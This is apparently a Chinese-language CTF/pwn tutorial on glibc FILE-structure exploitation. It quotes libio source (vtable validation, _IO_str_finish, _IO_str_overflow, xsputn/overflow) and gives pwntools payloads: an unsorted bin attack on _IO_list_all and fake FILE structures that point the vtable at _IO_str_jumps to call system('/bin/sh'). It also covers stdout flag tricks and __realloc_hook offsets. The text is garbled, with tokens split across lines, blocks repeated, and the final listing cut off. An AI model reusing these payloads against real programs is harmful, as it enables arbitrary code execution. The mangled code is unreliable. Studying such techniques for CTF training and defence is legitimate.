*
*
) ((void
*
) &_IO_JUMPS_FILE_plus (THIS) \
+
(THIS)
-
>_vtable_offset)))
static inline const struct _IO_jump_t
*
IO_validate_vtable (const struct _IO_jump_t
*
vtable)
{
uintptr_t section_length
=
__stop___libc_IO_vtables
-
__start___libc_IO_vtables;
const char
*
ptr
=
(const char
*
) vtable;
uintptr_t offset
=
ptr
-
__start___libc_IO_vtables;
if
(__glibc_unlikely (offset >
=
section_length))
/
/
检查vtable指针是否在glibc的vtable段中。
_IO_vtable_check ();
return
vtable;
}
static inline const struct _IO_jump_t
*
IO_validate_vtable (const struct _IO_jump_t
*
vtable)
{
uintptr_t section_length
=
__stop___libc_IO_vtables
-
__start___libc_IO_vtables;
const char
*
ptr
=
(const char
*
) vtable;
uintptr_t offset
=
ptr
-
__start___libc_IO_vtables;
if
(__glibc_unlikely (offset >
=
section_length))
/
/
检查vtable指针是否在glibc的vtable段中。
_IO_vtable_check ();
return
vtable;
}
void attribute_hidden _IO_vtable_check (void)
{
#ifdef SHARED
void (
*
flag) (void)
=
atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if
(flag
=
=
&_IO_vtable_check)
/
/
检查是否是外部重构的vtable
return
;
{
Dl_info di;
struct link_map
*
l;
if
(_dl_open_hook !
=
NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) !
=
0
&& l
-
>l_ns !
=
LM_ID_BASE))
/
/
检查是否是动态链接库中的vtable
return
;
}
...
__libc_fatal (
"Fatal error: glibc detected an invalid stdio handle\n"
);
}
void attribute_hidden _IO_vtable_check (void)
{
#ifdef SHARED
void (
*
flag) (void)
=
atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if
(flag
=
=
&_IO_vtable_check)
/
/
检查是否是外部重构的vtable
return
;
{
Dl_info di;
struct link_map
*
l;
if
(_dl_open_hook !
=
NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) !
=
0
&& l
-
>l_ns !
=
LM_ID_BASE))
/
/
检查是否是动态链接库中的vtable
return
;
}
...
__libc_fatal (
"Fatal error: glibc detected an invalid stdio handle\n"
);
}
const struct _IO_jump_t _IO_str_jumps libio_vtable
=
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
...
}
const struct _IO_jump_t _IO_str_jumps libio_vtable
=
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
...
}
void _IO_str_finish (_IO_FILE
*
fp,
int
dummy)
{
if
(fp
-
>_IO_buf_base && !(fp
-
>_flags & _IO_USER_BUF))
(((_IO_strfile
*
) fp)
-
>_s._free_buffer) (fp
-
>_IO_buf_base);
/
/
执行函数
fp
-
>_IO_buf_base
=
NULL;
_IO_default_finish (fp,
0
);
}
void _IO_str_finish (_IO_FILE
*
fp,
int
dummy)
{
if
(fp
-
>_IO_buf_base && !(fp
-
>_flags & _IO_USER_BUF))
(((_IO_strfile
*
) fp)
-
>_s._free_buffer) (fp
-
>_IO_buf_base);
/
/
执行函数
fp
-
>_IO_buf_base
=
NULL;
_IO_default_finish (fp,
0
);
}
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
# libc.address = libc_base
def
get_IO_str_jumps():
IO_file_jumps_addr
=
libc.sym[
'_IO_file_jumps'
]
IO_str_underflow_addr
=
libc.sym[
'_IO_str_underflow'
]
for
ref
in
libc.search(p64(IO_str_underflow_addr
-
libc.address)):
possible_IO_str_jumps_addr
=
ref
-
0x20
if
possible_IO_str_jumps_addr > IO_file_jumps_addr:
return
possible_IO_str_jumps_addr
# libc.address = libc_base
def
get_IO_str_jumps():
IO_file_jumps_addr
=
libc.sym[
'_IO_file_jumps'
]
IO_str_underflow_addr
=
libc.sym[
'_IO_str_underflow'
]
for
ref
in
libc.search(p64(IO_str_underflow_addr
-
libc.address)):
possible_IO_str_jumps_addr
=
ref
-
0x20
if
possible_IO_str_jumps_addr > IO_file_jumps_addr:
return
possible_IO_str_jumps_addr
._chain
=
> chunk_addr
chunk_addr
{
file
=
{
_flags
=
0x0
,
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
_IO_write_ptr
=
0x1
,
_IO_write_end
=
0x0
,
_IO_buf_base
=
bin_sh_addr,
...
_mode
=
0x0
,
/
/
一般不用特意设置
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
_IO_str_jumps
-
8
/
/
chunk_addr
+
0xd8
~
+
0xe0
}
+
0xe0
~
+
0xe8
:
0x0
+
0xe8
~
+
0xf0
: system_addr
/
one_gadget
/
/
fp
-
>_s._free_buffer
._chain
=
> chunk_addr
chunk_addr
{
file
=
{
_flags
=
0x0
,
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
_IO_write_ptr
=
0x1
,
_IO_write_end
=
0x0
,
_IO_buf_base
=
bin_sh_addr,
...
_mode
=
0x0
,
/
/
一般不用特意设置
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
_IO_str_jumps
-
8
/
/
chunk_addr
+
0xd8
~
+
0xe0
}
+
0xe0
~
+
0xe8
:
0x0
+
0xe8
~
+
0xf0
: system_addr
/
one_gadget
/
/
fp
-
>_s._free_buffer
payload
=
p64(
0
)
+
p64(
0x60
)
+
p64(
0
)
+
p64(libc.sym[
'_IO_list_all'
]
-
0x10
)
#unsorted bin attack
payload
+
=
p64(
0
)
+
p64(
1
)
+
p64(
0
)
+
p64(
next
(libc.search(b
'/bin/sh'
)))
payload
=
payload.ljust(
0xd8
, b
'\x00'
)
+
p64(get_IO_str_jumps()
-
8
)
payload
+
=
p64(
0
)
+
p64(libc.sym[
'system'
])
payload
=
p64(
0
)
+
p64(
0x60
)
+
p64(
0
)
+
p64(libc.sym[
'_IO_list_all'
]
-
0x10
)
#unsorted bin attack
payload
+
=
p64(
0
)
+
p64(
1
)
+
p64(
0
)
+
p64(
next
(libc.search(b
'/bin/sh'
)))
payload
=
payload.ljust(
0xd8
, b
'\x00'
)
+
p64(get_IO_str_jumps()
-
8
)
payload
+
=
p64(
0
)
+
p64(libc.sym[
'system'
])
int
_IO_str_overflow (_IO_FILE
*
fp,
int
c)
{
int
flush_only
=
c
=
=
EOF;
_IO_size_t pos;
if
(fp
-
>_flags & _IO_NO_WRITES)
return
flush_only ?
0
: EOF;
if
((fp
-
>_flags & _IO_TIED_PUT_GET) && !(fp
-
>_flags & _IO_CURRENTLY_PUTTING))
{
fp
-
>_flags |
=
_IO_CURRENTLY_PUTTING;
fp
-
>_IO_write_ptr
=
fp
-
>_IO_read_ptr;
fp
-
>_IO_read_ptr
=
fp
-
>_IO_read_end;
}
pos
=
fp
-
>_IO_write_ptr
-
fp
-
>_IO_write_base;
if
(pos >
=
(_IO_size_t) (_IO_blen (fp)
+
flush_only))
{
if
(fp
-
>_flags & _IO_USER_BUF)
/
*
not
allowed to enlarge
*
/
return
EOF;
else
{
char
*
new_buf;
char
*
old_buf
=
fp
-
>_IO_buf_base;
size_t old_blen
=
_IO_blen (fp);
_IO_size_t new_size
=
2
*
old_blen
+
100
;
if
(new_size < old_blen)
return
EOF;
new_buf
=
(char
*
) (
*
((_IO_strfile
*
) fp)
-
>_s._allocate_buffer) (new_size);
/
/
调用了fp
-
>_s._allocate_buffer函数指针
if
(new_buf
=
=
NULL)
{
/
*
__ferror(fp)
=
1
;
*
/
return
EOF;
}
if
(old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(
*
((_IO_strfile
*
) fp)
-
>_s._free_buffer) (old_buf);
/
*
Make sure _IO_setb won't
try
to delete _IO_buf_base.
*
/
fp
-
>_IO_buf_base
=
NULL;
}
memset (new_buf
+
old_blen,
'\0'
, new_size
-
old_blen);
_IO_setb (fp, new_buf, new_buf
+
new_size,
1
);
fp
-
>_IO_read_base
=
new_buf
+
(fp
-
>_IO_read_base
-
old_buf);
fp
-
>_IO_read_ptr
=
new_buf
+
(fp
-
>_IO_read_ptr
-
old_buf);
fp
-
>_IO_read_end
=
new_buf
+
(fp
-
>_IO_read_end
-
old_buf);
fp
-
>_IO_write_ptr
=
new_buf
+
(fp
-
>_IO_write_ptr
-
old_buf);
fp
-
>_IO_write_base
=
new_buf;
fp
-
>_IO_write_end
=
fp
-
>_IO_buf_end;
}
}
if
(!flush_only)
*
fp
-
>_IO_write_ptr
+
+
=
(unsigned char) c;
if
(fp
-
>_IO_write_ptr > fp
-
>_IO_read_end)
fp
-
>_IO_read_end
=
fp
-
>_IO_write_ptr;
return
c;
}
int
_IO_str_overflow (_IO_FILE
*
fp,
int
c)
{
int
flush_only
=
c
=
=
EOF;
_IO_size_t pos;
if
(fp
-
>_flags & _IO_NO_WRITES)
return
flush_only ?
0
: EOF;
if
((fp
-
>_flags & _IO_TIED_PUT_GET) && !(fp
-
>_flags & _IO_CURRENTLY_PUTTING))
{
fp
-
>_flags |
=
_IO_CURRENTLY_PUTTING;
fp
-
>_IO_write_ptr
=
fp
-
>_IO_read_ptr;
fp
-
>_IO_read_ptr
=
fp
-
>_IO_read_end;
}
pos
=
fp
-
>_IO_write_ptr
-
fp
-
>_IO_write_base;
if
(pos >
=
(_IO_size_t) (_IO_blen (fp)
+
flush_only))
{
if
(fp
-
>_flags & _IO_USER_BUF)
/
*
not
allowed to enlarge
*
/
return
EOF;
else
{
char
*
new_buf;
char
*
old_buf
=
fp
-
>_IO_buf_base;
size_t old_blen
=
_IO_blen (fp);
_IO_size_t new_size
=
2
*
old_blen
+
100
;
if
(new_size < old_blen)
return
EOF;
new_buf
=
(char
*
) (
*
((_IO_strfile
*
) fp)
-
>_s._allocate_buffer) (new_size);
/
/
调用了fp
-
>_s._allocate_buffer函数指针
if
(new_buf
=
=
NULL)
{
/
*
__ferror(fp)
=
1
;
*
/
return
EOF;
}
if
(old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(
*
((_IO_strfile
*
) fp)
-
>_s._free_buffer) (old_buf);
/
*
Make sure _IO_setb won't
try
to delete _IO_buf_base.
*
/
fp
-
>_IO_buf_base
=
NULL;
}
memset (new_buf
+
old_blen,
'\0'
, new_size
-
old_blen);
_IO_setb (fp, new_buf, new_buf
+
new_size,
1
);
fp
-
>_IO_read_base
=
new_buf
+
(fp
-
>_IO_read_base
-
old_buf);
fp
-
>_IO_read_ptr
=
new_buf
+
(fp
-
>_IO_read_ptr
-
old_buf);
fp
-
>_IO_read_end
=
new_buf
+
(fp
-
>_IO_read_end
-
old_buf);
fp
-
>_IO_write_ptr
=
new_buf
+
(fp
-
>_IO_write_ptr
-
old_buf);
fp
-
>_IO_write_base
=
new_buf;
fp
-
>_IO_write_end
=
fp
-
>_IO_buf_end;
}
}
if
(!flush_only)
*
fp
-
>_IO_write_ptr
+
+
=
(unsigned char) c;
if
(fp
-
>_IO_write_ptr > fp
-
>_IO_read_end)
fp
-
>_IO_read_end
=
fp
-
>_IO_write_ptr;
return
c;
}
._chain
=
> chunk_addr
chunk_addr
{
file
=
{
_flags
=
0x0
,
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
_IO_write_ptr
=
0x1
,
_IO_write_end
=
0x0
,
_IO_buf_base
=
0x0
,
_IO_buf_end
=
(bin_sh_addr
-
100
)
/
/
2
,
...
_mode
=
0x0
,
/
/
一般不用特意设置
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
_IO_str_jumps
/
/
chunk_addr
+
0xd8
~
+
0xe0
}
+
0xe0
~
+
0xe8
: system_addr
/
one_gadget
/
/
fp
-
>_s._allocate_buffer
._chain
=
> chunk_addr
chunk_addr
{
file
=
{
_flags
=
0x0
,
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
_IO_write_ptr
=
0x1
,
_IO_write_end
=
0x0
,
_IO_buf_base
=
0x0
,
_IO_buf_end
=
(bin_sh_addr
-
100
)
/
/
2
,
...
_mode
=
0x0
,
/
/
一般不用特意设置
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
_IO_str_jumps
/
/
chunk_addr
+
0xd8
~
+
0xe0
}
+
0xe0
~
+
0xe8
: system_addr
/
one_gadget
/
/
fp
-
>_s._allocate_buffer
new_size
=
libc_base
+
next
(libc.search(b
'/bin/sh'
))
payload
=
p64(
0xfbad2084
)
payload
+
=
p64(
0
)
# _IO_read_ptr
payload
+
=
p64(
0
)
# _IO_read_end
payload
+
=
p64(
0
)
# _IO_read_base
payload
+
=
p64(
0
)
# _IO_write_base
payload
+
=
p64(
0xffffffffffffffff
)
# _IO_write_ptr
payload
+
=
p64(
0
)
# _IO_write_end
payload
+
=
p64(
0
)
# _IO_buf_base
payload
+
=
p64((new_size
-
100
)
/
/
2
)
# _IO_buf_end
payload
+
=
p64(
0
)
*
4
payload
+
=
p64(libc_base
+
libc.sym[
"_IO_2_1_stdin_"
])
payload
+
=
p64(
1
)
+
p64((
1
<<
64
)
-
1
)
payload
+
=
p64(
0
)
+
p64(libc_base
+
0x3ed8c0
)
#lock
payload
+
=
p64((
1
<<
64
)
-
1
)
+
p64(
0
)
payload
+
=
p64(libc_base
+
0x3eb8c0
)
payload
+
=
p64(
0
)
*
6
payload
+
=
p64(libc_base
+
get_IO_str_jumps_offset())
# _IO_str_jumps
payload
+
=
p64(libc_base
+
libc.sym[
"system"
])
new_size
=
libc_base
+
next
(libc.search(b
'/bin/sh'
))
payload
=
p64(
0xfbad2084
)
payload
+
=
p64(
0
)
# _IO_read_ptr
payload
+
=
p64(
0
)
# _IO_read_end
payload
+
=
p64(
0
)
# _IO_read_base
payload
+
=
p64(
0
)
# _IO_write_base
payload
+
=
p64(
0xffffffffffffffff
)
# _IO_write_ptr
payload
+
=
p64(
0
)
# _IO_write_end
payload
+
=
p64(
0
)
# _IO_buf_base
payload
+
=
p64((new_size
-
100
)
/
/
2
)
# _IO_buf_end
payload
+
=
p64(
0
)
*
4
payload
+
=
p64(libc_base
+
libc.sym[
"_IO_2_1_stdin_"
])
payload
+
=
p64(
1
)
+
p64((
1
<<
64
)
-
1
)
payload
+
=
p64(
0
)
+
p64(libc_base
+
0x3ed8c0
)
#lock
payload
+
=
p64((
1
<<
64
)
-
1
)
+
p64(
0
)
payload
+
=
p64(libc_base
+
0x3eb8c0
)
payload
+
=
p64(
0
)
*
6
payload
+
=
p64(libc_base
+
get_IO_str_jumps_offset())
# _IO_str_jumps
payload
+
=
p64(libc_base
+
libc.sym[
"system"
])
_IO_size_t _IO_file_xsgetn (_IO_FILE
*
fp, void
*
data, _IO_size_t n)
{
...
if
(fp
-
>_IO_buf_base
=
=
NULL)
{
...
/
/
输入缓冲区为空则初始化输入缓冲区
}
while
(want >
0
)
{
have
=
fp
-
>_IO_read_end
-
fp
-
>_IO_read_ptr;
if
(have >
0
)
{
...
/
/
memcpy
}
if
(fp
-
>_IO_buf_base
&& want < (size_t) (fp
-
>_IO_buf_end
-
fp
-
>_IO_buf_base))
{
if
(__underflow (fp)
=
=
EOF)
/
/
调用__underflow读入数据
...
}
...
return
n
-
want;
}
_IO_size_t _IO_file_xsgetn (_IO_FILE
*
fp, void
*
data, _IO_size_t n)
{
...
if
(fp
-
>_IO_buf_base
=
=
NULL)
{
...
/
/
输入缓冲区为空则初始化输入缓冲区
}
while
(want >
0
)
{
have
=
fp
-
>_IO_read_end
-
fp
-
>_IO_read_ptr;
if
(have >
0
)
{
...
/
/
memcpy
}
if
(fp
-
>_IO_buf_base
&& want < (size_t) (fp
-
>_IO_buf_end
-
fp
-
>_IO_buf_base))
{
if
(__underflow (fp)
=
=
EOF)
/
/
调用__underflow读入数据
...
}
...
return
n
-
want;
}
int
_IO_new_file_underflow (_IO_FILE
*
fp)
{
_IO_ssize_t count;
...
/
/
会检查_flags是否包含_IO_NO_READS标志,包含则直接返回。
/
/
标志的定义是
#define _IO_NO_READS 4,因此_flags不能包含4。
if
(fp
-
>_flags & _IO_NO_READS)
{
fp
-
>_flags |
=
_IO_ERR_SEEN;
__set_errno (EBADF);
return
EOF;
}
/
/
如果输入缓冲区里存在数据,则直接返回
if
(fp
-
>_IO_read_ptr < fp
-
>_IO_read_end)
return
*
(unsigned char
*
) fp
-
>_IO_read_ptr;
...
/
/
调用_IO_SYSREAD函数最终执行系统调用读取数据
count
=
_IO_SYSREAD (fp, fp
-
>_IO_buf_base,
fp
-
>_IO_buf_end
-
fp
-
>_IO_buf_base);
...
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
int
_IO_new_file_underflow (_IO_FILE
*
fp)
{
_IO_ssize_t count;
...
/
/
会检查_flags是否包含_IO_NO_READS标志,包含则直接返回。
/
/
标志的定义是
#define _IO_NO_READS 4,因此_flags不能包含4。
if
(fp
-
>_flags & _IO_NO_READS)
{
fp
-
>_flags |
=
_IO_ERR_SEEN;
__set_errno (EBADF);
return
EOF;
}
/
/
如果输入缓冲区里存在数据,则直接返回
if
(fp
-
>_IO_read_ptr < fp
-
>_IO_read_end)
return
*
(unsigned char
*
) fp
-
>_IO_read_ptr;
...
/
/
调用_IO_SYSREAD函数最终执行系统调用读取数据
count
=
_IO_SYSREAD (fp, fp
-
>_IO_buf_base,
fp
-
>_IO_buf_end
-
fp
-
>_IO_buf_base);
...
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
IO_size_t _IO_new_file_xsputn (_IO_FILE
*
f, const void
*
data, _IO_size_t n)
{
const char
*
s
=
(const char
*
) data;
_IO_size_t to_do
=
n;
int
must_flush
=
0
;
_IO_size_t count
=
0
;
if
(n <
=
0
)
return
0
;
if
((f
-
>_flags & _IO_LINE_BUF) && (f
-
>_flags & _IO_CURRENTLY_PUTTING))
{
/
/
如果是行缓冲模式...
count
=
f
-
>_IO_buf_end
-
f
-
>_IO_write_ptr;
/
/
判断输出缓冲区还有多少空间
if
(count >
=
n)
{
const char
*
p;
for
(p
=
s
+
n; p > s; )
{
if
(
*
-
-
p
=
=
'\n'
)
/
/
最后一个换行符\n为截断符,且需要刷新输出缓冲区
{
count
=
p
-
s
+
1
;
must_flush
=
1
;
/
/
标志为真:需要刷新输出缓冲区
break
;
}
}
}
}
else
if
(f
-
>_IO_write_end > f
-
>_IO_write_ptr)
/
/
判断输出缓冲区还有多少空间(全缓冲模式)
count
=
f
-
>_IO_write_end
-
f
-
>_IO_write_ptr;
if
(count >
0
)
{
/
/
如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
if
(count > to_do)
count
=
to_do;
f
-
>_IO_write_ptr
=
__mempcpy (f
-
>_IO_write_ptr, s, count);
s
+
=
count;
to_do
-
=
count;
}
if
(to_do
+
must_flush >
0
)
/
/
此处关键,见下文详细讨论
{
_IO_size_t block_size, do_write;
if
(_IO_OVERFLOW (f, EOF)
=
=
EOF)
/
/
调用_IO_OVERFLOW
return
to_do
=
=
0
? EOF : n
-
to_do;
block_size
=
f
-
>_IO_buf_end
-
f
-
>_IO_buf_base;
do_write
=
to_do
-
(block_size >
=
128
? to_do
%
block_size :
0
);
if
(do_write)
{
count
=
new_do_write (f, s, do_write);
to_do
-
=
count;
if
(count < do_write)
return
n
-
to_do;
}
if
(to_do)
to_do
-
=
_IO_default_xsputn (f, s
+
do_write, to_do);
}
return
n
-
to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
IO_size_t _IO_new_file_xsputn (_IO_FILE
*
f, const void
*
data, _IO_size_t n)
{
const char
*
s
=
(const char
*
) data;
_IO_size_t to_do
=
n;
int
must_flush
=
0
;
_IO_size_t count
=
0
;
if
(n <
=
0
)
return
0
;
if
((f
-
>_flags & _IO_LINE_BUF) && (f
-
>_flags & _IO_CURRENTLY_PUTTING))
{
/
/
如果是行缓冲模式...
count
=
f
-
>_IO_buf_end
-
f
-
>_IO_write_ptr;
/
/
判断输出缓冲区还有多少空间
if
(count >
=
n)
{
const char
*
p;
for
(p
=
s
+
n; p > s; )
{
if
(
*
-
-
p
=
=
'\n'
)
/
/
最后一个换行符\n为截断符,且需要刷新输出缓冲区
{
count
=
p
-
s
+
1
;
must_flush
=
1
;
/
/
标志为真:需要刷新输出缓冲区
break
;
}
}
}
}
else
if
(f
-
>_IO_write_end > f
-
>_IO_write_ptr)
/
/
判断输出缓冲区还有多少空间(全缓冲模式)
count
=
f
-
>_IO_write_end
-
f
-
>_IO_write_ptr;
if
(count >
0
)
{
/
/
如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
if
(count > to_do)
count
=
to_do;
f
-
>_IO_write_ptr
=
__mempcpy (f
-
>_IO_write_ptr, s, count);
s
+
=
count;
to_do
-
=
count;
}
if
(to_do
+
must_flush >
0
)
/
/
此处关键,见下文详细讨论
{
_IO_size_t block_size, do_write;
if
(_IO_OVERFLOW (f, EOF)
=
=
EOF)
/
/
调用_IO_OVERFLOW
return
to_do
=
=
0
? EOF : n
-
to_do;
block_size
=
f
-
>_IO_buf_end
-
f
-
>_IO_buf_base;
do_write
=
to_do
-
(block_size >
=
128
? to_do
%
block_size :
0
);
if
(do_write)
{
count
=
new_do_write (f, s, do_write);
to_do
-
=
count;
if
(count < do_write)
return
n
-
to_do;
}
if
(to_do)
to_do
-
=
_IO_default_xsputn (f, s
+
do_write, to_do);
}
return
n
-
to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
int
_IO_new_file_overflow (_IO_FILE
*
f,
int
ch)
{
/
/
判断标志位是否包含_IO_NO_WRITES
=
> _flags需要不包含_IO_NO_WRITES
if
(f
-
>_flags & _IO_NO_WRITES)
{
f
-
>_flags |
=
_IO_ERR_SEEN;
__set_errno (EBADF);
return
EOF;
}
/
/
判断输出缓冲区是否为空 以及 是否不包含_IO_CURRENTLY_PUTTING标志位
/
/
为了不执行该
if
分支以免出错,最好定义 _flags 包含 _IO_CURRENTLY_PUTTING
if
((f
-
>_flags & _IO_CURRENTLY_PUTTING)
=
=
0
|| f
-
>_IO_write_base
=
=
NULL)
{
...
}
/
/
调用_IO_do_write 输出 输出缓冲区
/
/
从_IO_write_base开始,输出(_IO_write_ptr
-
f
-
>_IO_write_base)个字节的数据
if
(ch
=
=
EOF)
return
_IO_do_write (f, f
-
>_IO_write_base,
f
-
>_IO_write_ptr
-
f
-
>_IO_write_base);
return
(unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
int
_IO_new_file_overflow (_IO_FILE
*
f,
int
ch)
{
/
/
判断标志位是否包含_IO_NO_WRITES
=
> _flags需要不包含_IO_NO_WRITES
if
(f
-
>_flags & _IO_NO_WRITES)
{
f
-
>_flags |
=
_IO_ERR_SEEN;
__set_errno (EBADF);
return
EOF;
}
/
/
判断输出缓冲区是否为空 以及 是否不包含_IO_CURRENTLY_PUTTING标志位
/
/
为了不执行该
if
分支以免出错,最好定义 _flags 包含 _IO_CURRENTLY_PUTTING
if
((f
-
>_flags & _IO_CURRENTLY_PUTTING)
=
=
0
|| f
-
>_IO_write_base
=
=
NULL)
{
...
}
/
/
调用_IO_do_write 输出 输出缓冲区
/
/
从_IO_write_base开始,输出(_IO_write_ptr
-
f
-
>_IO_write_base)个字节的数据
if
(ch
=
=
EOF)
return
_IO_do_write (f, f
-
>_IO_write_base,
f
-
>_IO_write_ptr
-
f
-
>_IO_write_base);
return
(unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
static _IO_size_t new_do_write (_IO_FILE
*
fp, const char
*
data, _IO_size_t to_do)
{
...
_IO_size_t count;
/
/
为了不执行
else
if
分支中的内容以产生错误,可构造_flags包含_IO_IS_APPENDING 或 设置_IO_read_end等于_IO_write_base
if
(fp
-
>_flags & _IO_IS_APPENDING)
fp
-
>_offset
=
_IO_pos_BAD;
else
if
(fp
-
>_IO_read_end !
=
fp
-
>_IO_write_base)
{
_IO_off64_t new_pos
=
_IO_SYSSEEK (fp, fp
-
>_IO_write_base
-
fp
-
>_IO_read_end,
1
);
if
(new_pos
=
=
_IO_pos_BAD)
return
0
;
fp
-
>_offset
=
new_pos;
}
/
/
调用函数输出输出缓冲区
count
=
_IO_SYSWRITE (fp, data, to_do);
...
return
count;
}
static _IO_size_t new_do_write (_IO_FILE
*
fp, const char
*
data, _IO_size_t to_do)
{
...
_IO_size_t count;
/
/
为了不执行
else
if
分支中的内容以产生错误,可构造_flags包含_IO_IS_APPENDING 或 设置_IO_read_end等于_IO_write_base
if
(fp
-
>_flags & _IO_IS_APPENDING)
fp
-
>_offset
=
_IO_pos_BAD;
else
if
(fp
-
>_IO_read_end !
=
fp
-
>_IO_write_base)
{
_IO_off64_t new_pos
=
_IO_SYSSEEK (fp, fp
-
>_IO_write_base
-
fp
-
>_IO_read_end,
1
);
if
(new_pos
=
=
_IO_pos_BAD)
return
0
;
fp
-
>_offset
=
new_pos;
}
/
/
调用函数输出输出缓冲区
count
=
_IO_SYSWRITE (fp, data, to_do);
...
return
count;
}
_flags
=
0xfbad0000
_flags &
=
~_IO_NO_WRITES
/
/
_flags
=
0xfbad0000
_flags |
=
_IO_CURRENTLY_PUTTING
/
/
_flags
=
0xfbad0800
_flags |
=
_IO_IS_APPENDING
/
/
_flags
=
0xfbad1800
_flags
=
0xfbad0000
_flags &
=
~_IO_NO_WRITES
/
/
_flags
=
0xfbad0000
_flags |
=
_IO_CURRENTLY_PUTTING
/
/
_flags
=
0xfbad0800
_flags |
=
_IO_IS_APPENDING
/
/
_flags
=
0xfbad1800
fastbin_ptr
=
libc_base
+
libc.symbols[
'main_arena'
]
+
8
(
0x10
)
index
=
(target_addr
-
fastbin_ptr)
/
8
size
=
index
*
0x10
+
0x20
fastbin_ptr
=
libc_base
+
libc.symbols[
'main_arena'
]
+
8
(
0x10
)
index
=
(target_addr
-
fastbin_ptr)
/
8
size
=
index
*
0x10
+
0x20
; 以libc
-
2.23
为例:
6C0
push r15 ; Alternative name
is
'__libc_realloc'
6C2
push r14
6C4
push r13
6C6
push r12
6C8
mov r13, rsi
6CB
push rbp
6CC
push rbx
6CD
mov rbx, rdi
6D0
sub rsp,
38h
6D4
mov rax, cs:__realloc_hook_ptr
6DB
mov rax, [rax]
6DE
test rax, rax
6E1
jnz loc_848E8
...
; 以libc
-
2.23
为例:
6C0
push r15 ; Alternative name
is
'__libc_realloc'
6C2
push r14
6C4
push r13
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!